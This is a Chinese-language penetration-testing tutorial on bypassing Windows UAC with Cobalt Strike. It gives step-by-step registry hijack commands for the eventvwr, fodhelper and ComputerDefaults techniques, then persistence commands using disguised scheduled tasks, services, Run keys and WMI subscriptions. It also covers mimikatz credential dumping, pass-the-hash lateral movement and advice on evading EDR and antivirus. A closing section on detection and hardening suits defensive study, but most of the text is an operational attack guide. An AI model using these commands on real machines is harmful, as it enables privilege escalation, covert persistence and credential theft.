Windows渗透测试实战:三种BypassUAC技术原理与Cobalt Strike应用详解 1. 项目概述为什么BypassUAC是Windows渗透测试的“敲门砖”在Windows渗透测试的实战中拿到一个普通用户权限的Shell往往只是第一步。你会发现很多关键操作——比如修改注册表、安装服务、访问系统目录——都会被一个名为“用户账户控制”的弹窗无情地拦下。这个从Windows Vista时代就存在的安全机制就是我们常说的UAC。它的本意是好的通过弹窗让用户确认防止恶意软件悄无声息地提权。但对于我们做安全评估的来说它就成了从“普通用户”迈向“系统管理员”路上必须跨过的一道坎。BypassUAC顾名思义就是绕过这个控制机制。它不是去破解密码也不是去利用一个内核漏洞直接拿到SYSTEM权限而是一种“曲线救国”的策略。核心思路是利用Windows系统自身设计上的一些“特性”或“疏忽”让一个以普通用户身份运行的程序能够在不触发UAC弹窗的情况下以管理员权限执行代码。这比直接进行高风险的提权漏洞利用更隐蔽、更稳定在红队行动中是进行横向移动、权限维持前非常关键的一环。Cobalt Strike作为一款成熟的“攻击模拟平台”集成了多种稳定、高效的BypassUAC方法。今天要聊的就是我在实际渗透测试项目中最常用、成功率最高的三种方法。我会把每条命令拆开了、揉碎了讲清楚不仅告诉你怎么用更重点说明在什么场景下用、为什么这么用以及我踩过哪些坑。无论你是刚开始接触内网渗透的新手还是想丰富自己工具库的老兵这篇实战总结都应该能给你带来直接的帮助。2. 环境准备与核心原理浅析在动手之前我们必须把“战场”环境搞清楚。盲目运行命令很可能打草惊蛇或者直接失败。2.1 目标环境与前置条件首先不是所有Windows都能用同一种方法绕过。UAC本身有不同的安全级别这直接影响了我们的攻击面。UAC级别确认这是最重要的前置侦察。你需要在目标机器上或者已经获得的Shell里快速检查UAC设置。最直接的方法是查看注册表reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin这个键值决定了管理员账户的UAC行为。常见的值有0从不提示相当于关闭UAC。这种理想情况现在很少见如果遇到恭喜你可以直接运行高权限程序。1在安全桌面上提示凭据用于标准用户。对于管理员账户我们更关心下面两个。2始终提示最严格。任何提权操作都会触发弹窗大部分Bypass方法对此无效。5默认设置 - 在安全桌面上提示同意最常见。这是我们主攻的场景。系统会弹窗询问是否允许程序进行更改而我们的Bypass技术就是要让这个弹窗不出现。在Cobalt Strike的Beacon里你可以直接用shell reg query ...来执行这个命令。了解这个值你就能预估哪种Bypass方法成功率更高。用户身份目标用户必须是本地管理员组的成员。这是所有BypassUAC技术的基石。如果只是一个普通用户UAC弹窗会要求输入管理员密码那Bypass就无从谈起了。你可以用net localgroup administrators命令来验证或者在Beacon里用getuid和run whoami /groups来查看当前令牌的组信息。会话架构确保你的Beacon会话是64位的x64。因为很多Bypass方法依赖于操作系统的原生组件而这些组件在64位系统上也是64位的。如果你的初始载荷是32位的可能会遇到兼容性问题。在Cobalt Strike中可以通过help命令查看会话信息或者直接尝试注入到64位进程如explorer.exe后再进行操作。2.2 UAC机制与Bypass核心思想理解原理才能灵活运用。UAC的核心逻辑是“完整性级别”隔离。当一个管理员用户登录时系统会给他两个访问令牌一个“过滤后的”标准用户令牌用于日常操作和一个“完整的”管理员令牌存放在后台。当你启动一个程序时默认使用标准用户令牌。当你试图运行一个标记为“需要管理员权限”的程序比如右键“以管理员身份运行”或者程序通过ShellExecuteAPI指定了runas动词时系统会检查UAC设置。如果允许则会使用那个完整的后台管理员令牌创建一个新进程。而BypassUAC的终极目标就是骗过这个检查机制让系统在“不知不觉”中用管理员令牌启动我们的恶意进程。目前主流的方法大致分为几类劫持可信路径利用系统在提升权限时会加载某些DLL或可执行文件的逻辑通过DLL劫持或文件替换让系统在提权过程中执行我们的代码。滥用自动提升程序系统有一些“白名单”程序它们本身就被设计为可以自动提升权限而不触发UAC弹窗如slui.exe,eventvwr.exe等。如果我们能“操控”这些程序的启动过程就能搭上便车。利用COM接口与注册表Windows的组件对象模型和注册表配置中存在一些可以被普通用户修改的键值这些修改会影响高权限COM组件的实例化行为从而允许我们注入代码。Cobalt Strike内置的Bypass模块正是这些技术思想的自动化、武器化实现。下面我们就进入实战环节。3. 方法一利用eventvwr.exe与注册表劫持这是最经典、最广为人知的一种方法由Matt Nelson提出利用了Windows事件查看器eventvwr.exe的自动提升特性及DLL加载顺序的缺陷。3.1 命令详解与分步操作在Cobalt Strike的Beacon中你可以直接使用内置的bypassuac模块它默认采用的往往是eventvwr或其变种。但为了彻底理解我们拆解其手动过程这能帮助你在模块失效时进行手动排查或定制。核心命令与步骤检查目标首先确认目标环境符合要求管理员组UAC默认级别。shell whoami /groups | findstr S-1-5-32-544 shell reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin上传Payload准备一个64位的后门DLL。假设我们生成了一个名为evil.dll的DLL其导出函数为StartW。将这个DLL上传到目标机器的临时目录例如C:\Windows\Temp\。注册表劫持这是关键一步。eventvwr.exe在启动时会加载mmc.exe管理单元而它会尝试加载一个名为mscoree.dll的DLL。我们可以通过注册表将mscoree.dll的加载路径指向我们的恶意DLL。对于64位系统上的64位eventvwr劫持的注册表路径是HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32我们需要修改该键值的(Default)值为我们恶意DLL的路径。# 在Beacon中执行 shell reg add HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 /f /ve /t REG_SZ /d C:\Windows\Temp\evil.dll这条命令的作用是在当前用户的注册表配置单元下创建或修改指定路径的键值将其默认值设置为我们的DLL路径。/f是强制覆盖/ve表示操作默认值/t REG_SZ指定类型为字符串/d后面是数据。触发提权现在以高权限启动eventvwr.exe。由于它是自动提升程序不会触发UAC弹窗。shell C:\Windows\System32\eventvwr.exe当eventvwr.exe启动并尝试加载管理单元时会根据我们篡改的注册表项去加载C:\Windows\Temp\evil.dll。DLL被加载后其入口函数如DllMain或我们指定的导出函数如StartW就会被执行从而在我们的DLL内部获得一个高权限的进程上下文。进程注入与会话迁移通常我们的evil.dll代码会做两件事一是启动一个高权限的隐藏进程如notepad.exe二是将我们的Shellcode或Beacon Payload注入到那个新进程中。最后在Cobalt Strike中使用inject或shinject命令将Beacon迁移到那个高权限进程或者直接让DLL回连一个新的高权限Beacon。清理痕迹操作完成后务必删除注册表项避免留下明显痕迹。shell reg delete HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931} /f3.2 实战心得与注意事项这个方法我用了很多次总结出几个必须注意的点注意此方法在Windows 10 1803及以上版本和Windows Server 2019中可能默认失效。因为微软修补了eventvwr.exe的DLL加载逻辑。但在很多企业内网中旧版本的Windows 7/8.1甚至未及时更新的Windows 10依然大量存在所以它仍然是你的必备技能。路径与架构一致性确保你的恶意DLL是64位的并且存放路径可被eventvwr.exe访问如C:\Windows\Temp\。如果DLL是32位而系统是64位加载会失败。杀软对抗向C:\Windows\Temp\写入DLL可能会被一些敏感的企业级杀毒软件检测。可以尝试其他用户有写权限的目录如%APPDATA%下的子目录。但注册表路径是用户级的通常不会触发杀软警报。回连的隐蔽性你的DLL在eventvwr.exe进程内执行所有网络连接在行为上看都来自eventvwr.exe。这有一定的隐蔽性但高级威胁感知系统可能会发现eventvwr.exe异常外联。因此DLL内的网络通信最好模仿正常行为或使用加密。失败排查如果执行后没有收到高权限会话首先检查DLL是否成功上传、路径是否正确。其次可以在DLL中加入简单的日志功能如向一个文件写入一行文本确认DLL是否被加载。最后查看系统事件日志有时会有相关的错误记录。4. 方法二利用FodHelper.exe与COM处理程序劫持这是另一个非常优雅的方法利用了Windows 10中用于管理可选功能的FodHelper.exe程序。它同样具有自动提升权限的特性但利用点不同主要涉及COM组件和协议处理程序。4.1 命令详解与分步操作这个方法的关键在于劫持“ms-settings”协议的处理程序。当FodHelper.exe被调用时它会尝试通过这个协议打开设置页面我们可以拦截这个过程。核心命令与步骤准备Payload同样需要一个后门可执行文件这次通常是一个EXE。假设我们生成了high.exe。劫持协议处理程序在当前用户的注册表下修改ms-settings协议执行时的命令。# 先备份原值可选但建议 shell reg query HKCU\Software\Classes\ms-settings\shell\open\command # 劫持将默认值设置为我们的恶意程序路径并添加一个委托执行参数/d 用于传递原始参数避免错误 shell reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d \C:\Windows\Temp\high.exe\ # 同时需要修改DelegateExecute这个键值将其清空或指向一个不存在的CLSID阻止系统调用默认的COM处理程序。 shell reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /v DelegateExecute /t REG_SZ /d 解释一下第一行是侦察看看原本是什么。第二行是核心把打开ms-settings协议的命令直接换成运行我们的high.exe。路径两边的引号是必须的以防路径中有空格。第三行同样关键。DelegateExecute键值原本指向一个合法的COM组件CLSID系统会优先用它来处理请求。我们把它清空系统就会回退到执行上面我们设置的命令行。触发提权运行FodHelper.exe。它本身不需要参数运行后会尝试打开“设置”从而触发我们劫持的命令。shell C:\Windows\System32\fodhelper.exe此时系统会以高权限启动我们指定的C:\Windows\Temp\high.exe。清理痕迹操作完成后恢复注册表。如果不恢复用户每次点击系统设置都可能触发我们的后门这太容易被发现了。# 恢复DelegateExecute需要知道原值如果不知道可以删除该键值让系统重建默认值 shell reg delete HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /f # 恢复默认命令通常可以删除整个command键系统会使用默认值 shell reg delete HKCU\Software\Classes\ms-settings\shell\open\command /f4.2 实战心得与注意事项这个方法比eventvwr更“干净”因为它不涉及DLL劫持而是直接替换了一个命令。兼容性极佳在我测试的从Windows 10 1607到目前最新的21H2版本中这个方法都有效。它不依赖某个特定DLL的加载顺序因此微软的补丁更难完全封堵。执行上下文启动的high.exe是一个独立的、高权限的进程比DLL注入到系统进程更稳定也更容易控制。你可以直接让这个EXE回连一个Beacon。杀软规避由于修改的是用户级别的注册表HKCU并且触发的进程是从fodhelper.exe这个可信父进程产生的在某些情况下可能绕过一些基于父进程关系的检测。但high.exe本身如果特征明显还是会被查杀。建议做好载荷的免杀处理。一个常见的坑如果你发现执行后没有任何反应检查一下high.exe的路径和文件名是否正确特别是引号的使用。在reg add命令中整个数据字符串被外层的双引号包裹而数据内部文件路径的双引号需要用反斜杠\进行转义写成\。这是很多新手容易出错的地方。隐蔽性思考fodhelper.exe进程本身是合法的但它启动了一个奇怪的子进程你的high.exe这在高级的EDR终端检测与响应日志中可能会被记录为可疑的父子进程关系。因此在高度戒备的环境下可能需要结合进程镂空等更隐蔽的技术。5. 方法三利用ComputerDefaults.exe与注册表键值操纵这是第三种非常有效的方法原理上与FodHelper类似但利用的是系统默认程序设置界面ComputerDefaults.exe的自动提升特性并通过修改HKCU下的特定注册表键值来实现劫持。5.1 命令详解与分步操作ComputerDefaults.exe在打开“默认程序”设置时会读取并尝试打开一个特定的注册表键值我们可以控制这个键值指向我们的程序。核心命令与步骤准备Payload准备一个高权限的后门EXE例如backdoor.exe。劫持注册表关联这个方法劫持的是文件关联或协议关联的“打开方式”。# 备份原关联可选 shell reg query HKCU\Software\Classes\ms-settings\shell\open\command # 方法A类似于fodhelper直接劫持ms-settings协议有时computerdefaults也会用到 # 步骤与fodhelper完全一致这里不再赘述。实际上fodhelper的方法对computerdefaults常常也有效。 # 方法B劫持一个特定的文件类型关联例如.cpl文件 # 1. 创建一个自定义的“程序”关联 shell reg add HKCU\Software\Classes\CustomFileType\shell\open\command /f /ve /t REG_SZ /d \C:\Windows\Temp\backdoor.exe\ # 2. 将某个系统操作如“设置默认程序”关联到我们自定义的文件类型 # 这需要更复杂的注册表操作通常利用ComputerDefaults在尝试设置.cpl控制面板项目默认程序时的逻辑。 # 一个已知的路径是修改以下键值将.cpl文件的打开命令指向我们的程序 shell reg add HKCU\Software\Classes\.cpl\Shell\Open\command /f /ve /t REG_SZ /d \C:\Windows\Temp\backdoor.exe\注意方法B中的.cpl劫持是一个例子但现代Windows版本可能已经修复。更通用的方法是利用ComputerDefaults查找“默认程序”时会遍历HKCU\Software\Classes\下的特定键值。我们可以创建一个看似合理的键值来触发。一个经过验证的、更直接的方法是利用ComputerDefaults对ms-settings协议的依赖其操作与FodHelper方法中的注册表修改几乎一模一样。这也是为什么很多自动化工具将这两种方法归为一类。触发提权运行ComputerDefaults.exe。shell C:\Windows\System32\ComputerDefaults.exe程序启动后会尝试访问被我们篡改的注册表关联从而执行我们的backdoor.exe并获得高权限。清理痕迹务必恢复被修改的注册表项。# 清理.cpl关联如果使用了方法B shell reg delete HKCU\Software\Classes\.cpl\Shell\Open\command /f # 或者清理自定义文件类型 shell reg delete HKCU\Software\Classes\CustomFileType /rf5.2 实战心得与注意事项这个方法可以看作是FodHelper的“姊妹篇”优缺点类似但有时可以作为备用方案。互为备份在实际渗透中如果fodhelper方法因为某些原因如特定补丁、安全软件规则失效可以立即尝试computerdefaults方法注册表操作几乎可以复用成功率很高。行为差异ComputerDefaults.exe启动的界面与FodHelper不同但在后台触发的提权逻辑是相似的。对于防守方来说一个用户无缘无故打开“默认程序”设置可能比打开“可选功能”设置稍显可疑但这取决于环境。自动化利用在Cobalt Strike的bypassuac模块中你可以在模块选项里选择不同的“利用程序”其中就包含了fodhelper和computerdefaults等。模块会自动处理上述繁琐的注册表操作和清理工作。我强烈建议在实战中优先使用这些经过验证的自动化模块它们更稳定且包含了错误处理和进程迁移等完整链条。使用方法在Beacon中输入bypassuac然后通过set命令设置Listener和Exploit例如set Exploit uac-fodhelper最后执行run。权限维持的思考BypassUAC获得的高权限会话通常是临时的。为了持久化你需要在获得高权限后立即部署一个高权限的后门例如创建计划任务、服务或者修改注册表启动项。切忌在BypassUAC的载荷里直接做复杂的持久化操作容易失败或暴露。应该先提权然后在新的高权限Beacon里从容地部署持久化机制。6. Cobalt Strike自动化模块实战与深度定制了解了手动原理我们再来看看如何高效地使用Cobalt Strike的自动化功能以及如何进行深度定制以适应复杂环境。6.1 内置bypassuac模块详解在Beacon控制台输入bypassuac会弹出一个对话框这是最常用的界面。但通过命令行我们可以更精细地控制。常用命令流程# 查看当前会话信息确认是x64架构 getuid # 使用bypassuac模块并指定监听器和利用方式 bypassuac set Listener your_http_listener set Exploit uac-eventvwr runListener指定提权成功后新Beacon回连的监听器。Exploit选择Bypass方法。常见选项有uac-eventvwr基于eventvwr的方法。uac-fodhelper基于fodhelper的方法通常默认或推荐。uac-comhandler基于COM处理程序的方法另一种变体。uac-token-duplication利用令牌复制的技术对某些环境有奇效。模块执行后的内部流程上传Cobalt Strike会自动将一个小的“BypassUAC Runner”上传到目标临时目录。这个Runner是经过编译的、用于执行上述注册表操作和进程启动的“引导程序”。执行在目标机器上执行这个Runner它会根据选择的Exploit类型进行相应的注册表操作并启动一个高权限的进程如eventvwr.exe。注入Runner会将你指定的Listener对应的PayloadShellcode注入到新创建的高权限进程中。回连与清理注入的Payload执行回连到团队服务器建立一个新的高权限Beacon会话。同时Runner会清理它创建的注册表项和临时文件。结果你会在Cobalt Strike的Web控制台看到一个新的Beacon会话弹出其权限级别为“High”。6.2 高级技巧手动编译与定制DLL/EXE内置模块虽然方便但特征可能已被主流杀软标记。这时手动定制就很有必要。场景你需要一个完全自定义的BypassUAC载荷以绕过静态查杀。步骤理解模板Cobalt Strike的bypassuac模块背后对应着Aggressor Script脚本和预编译的二进制文件。你可以从Cobalt Strike的安装目录找到相关资源如UAC-DLL模板但这需要一定的开发基础。自定义DLL以eventvwr为例使用Visual Studio创建一个DLL项目。在DllMain或某个导出函数中编写核心逻辑 a.检查权限确认当前进程是否已由eventvwr加载可通过父进程名判断。 b.创建高权限进程使用CreateProcess或ShellExecuteEx以高权限启动一个傀儡进程如notepad.exe。关键是要在SHELLEXECUTEINFO结构体中设置lpVerb runas并且lpFile指向一个系统可信的二进制文件。 c.进程注入将你的Shellcode例如从Cobalt Strike生成的payload.bin注入到新创建的傀儡进程中。可以使用经典的VirtualAllocEx/WriteProcessMemory/CreateRemoteThread组合。 d.清理删除临时文件、恢复注册表如果是在DLL内做的修改。编译生成DLL并确保是Release x64版本。整合到Cobalt Strike你可以将自定义的DLL作为“第三方”载荷通过Cobalt Strike的upload功能上传然后手动执行上述eventvwr的注册表和触发步骤。更高级的做法是修改Aggressor Script替换掉默认的Runner但这涉及脚本编程。自定义EXE以fodhelper为例创建一个控制台应用程序。主函数中直接执行你想要的高权限操作或者作为一个“启动器”从资源中解密并执行Shellcode。编译成EXE后在BypassUAC的注册表劫持步骤中将命令指向这个EXE即可。重要提示手动定制需要扎实的C/C和Windows API知识并且要处理好路径、错误和兼容性问题。在时间紧迫的实战中更常见的做法是对Cobalt Strike生成的原始Payload进行高强度的混淆、加密或分片然后配合内置的BypassUAC模块使用效率更高。6.3 组合拳BypassUAC后的权限维持与横向移动BypassUAC成功拿到高权限Beacon这远不是终点。接下来要做的事情才是渗透测试的核心。权限维持计划任务使用schtasks命令创建计划任务在系统启动或特定时间以SYSTEM或High权限执行你的后门。shell schtasks /create /tn WindowsUpdateCheck /tr C:\Users\Public\evil.exe /sc onstart /ru SYSTEM /f服务创建使用sc命令创建一个服务。shell sc create WinDefendSvc binPath C:\Windows\Temp\svchost.exe start auto shell sc start WinDefendSvc注意等号后面必须有一个空格。注册表启动项修改HKLM\Software\Microsoft\Windows\CurrentVersion\Run或RunOnce等键值。shell reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /t REG_SZ /d C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\bad.exe /fWMI事件订阅更隐蔽的方式例如监听用户登录事件来触发后门。powershell -c $Filter Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments {NameWinLogonFilter; EventNameSpaceroot\cimv2; QueryLanguageWQL; QuerySELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA \Win32_LogonSession\}; $Consumer Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments {NameWinLogonConsumer; ExecutablePathC:\Windows\System32\notepad.exe; CommandLineTemplateC:\Windows\System32\notepad.exe}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments {Filter$Filter; Consumer$Consumer}凭证窃取使用mimikatz通过mimikatz命令或kiwi扩展抓取内存中的明文密码、哈希和Kerberos票据。# 加载kiwi扩展如果尚未加载 load kiwi # 抓取密码哈希 kiwi_cmd sekurlsa::logonpasswords # 抓取所有票据 kiwi_cmd sekurlsa::tickets /export横向移动Pass the Hash利用抓取到的NTLM哈希直接横向移动到其他主机无需破解密码。# 使用psexec或smbexec模块填入目标IP和哈希 psexec64 \\target.ip -hashes :[NTLM_Hash] -d cmd.exePsExecCobalt Strike内置的psexec或psexec_psh模块。WMI使用wmi模块在远程主机上执行命令。SMB Beacon部署SMB Beacon进行横向移动在内网中通过命名管道进行通信隐蔽性更强。7. 防御视角与检测规避建议作为一名专业的渗透测试人员不仅要懂攻击更要理解防御这样才能更好地评估风险并提出有效的加固建议。7.1 如何检测BypassUAC攻击防守方可以从以下几个层面进行监控进程监控可疑的父子进程关系eventvwr.exe、fodhelper.exe、computerdefaults.exe这些程序通常由用户交互启动其父进程是explorer.exe或userinit.exe。如果它们是由一个非交互式进程如你的Beacon启动的就是可疑信号。更可疑的是它们随后又产生了非标准的子进程如notepad.exe、cmd.exe或一个陌生的可执行文件。进程命令行参数监控这些自动提升程序启动时是否带有异常的参数。注册表监控关键路径的修改实时监控HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}、HKCU\Software\Classes\ms-settings\shell\open\command等关键注册表路径的创建、修改和删除操作。这是最直接的检测点。文件系统监控临时目录的可执行文件监控C:\Windows\Temp\、%APPDATA%\Local\Temp\等目录下是否有新创建的可执行文件.exe, .dll被上述系统进程加载。网络连接监控eventvwr.exe、fodhelper.exe等系统进程通常不会发起网络连接。如果发现它们建立了出站连接尤其是连接到外部IP是极高的危险警报。7.2 作为攻击方的规避策略了解了防守方的检测点我们就能更有针对性地进行规避减少痕迹及时清理BypassUAC操作后立即、彻底地清理注册表修改和临时文件。Cobalt Strike的自动化模块已经做了这点手动操作时务必牢记。使用内存执行尽可能使用类似execute-assembly或powerpick等无文件落地技术来执行后续操作避免在磁盘上留下可执行文件。伪装与混淆进程伪装在注入阶段不要注入到notepad.exe这种太扎眼的进程。可以注入到svchost.exe、dllhost.exe等更常见的宿主进程中或者使用进程镂空技术将恶意代码注入到一个合法进程的“空壳”里。父进程欺骗通过API调用如CreateProcesswithSTARTUPINFOEXandUpdateProcThreadAttribute来伪造子进程的父进程为explorer.exe使得进程树看起来更正常。这需要更底层的编程技巧。载荷免杀对BypassUAC Runner和最终的Payload进行强混淆、加密或分片避免静态特征被查杀。选择时机在目标用户可能正在与系统交互的时间段如工作日上午进行BypassUAC操作eventvwr等进程的出现看起来会更合理。备用方案不要只依赖一种Bypass方法。在测试环境中就应验证多种方法eventvwr,fodhelper,computerdefaults,token duplication的有效性。当一种方法被拦截或失效时能快速切换。7.3 企业环境加固建议如果你在为企业做安全评估报告里应该包含这些缓解措施提升UAC级别将UAC设置为“始终通知”级别2这能阻断绝大多数BypassUAC技术。但这可能会影响用户体验。启用受控文件夹访问Windows Defender Exploit Guard的一部分可以阻止未经授权的进程对关键目录如C:\Windows\System32进行写操作但针对用户临时目录的防护有限。应用白名单通过AppLocker或WDACWindows Defender应用程序控制限制只有经过签名的、可信的程序才能运行。这能从根本上阻止未签名的BypassUAC Runner执行。加强端点监控部署具备行为检测能力的EDR产品配置规则来警报上述可疑的进程链、注册表修改和文件创建事件。最小权限原则严格限制本地管理员账户的数量和分配。对于普通办公用户确实没有必要赋予本地管理员权限。这是最有效但也最难推行的方法。BypassUAC是Windows内网渗透中一项承上启下的关键技术。它不像0day漏洞那样惊心动魄却像一把万能钥匙在无数个默认配置的企业环境中 quietly and effectively 地打开管理员权限的大门。掌握它的原理、熟练运用工具、并懂得如何对抗检测是一个红队队员基本功是否扎实的体现。在实际操作中我习惯在拿到初始立足点后先用bypassuac模块的uac-fodhelper快速尝试如果失败再根据目标系统版本手动尝试其他变种或检查环境。永远记住自动化工具是为了提高效率但理解其背后的每一条命令、每一个注册表键值才能在工具失效时自己成为那个“工具”。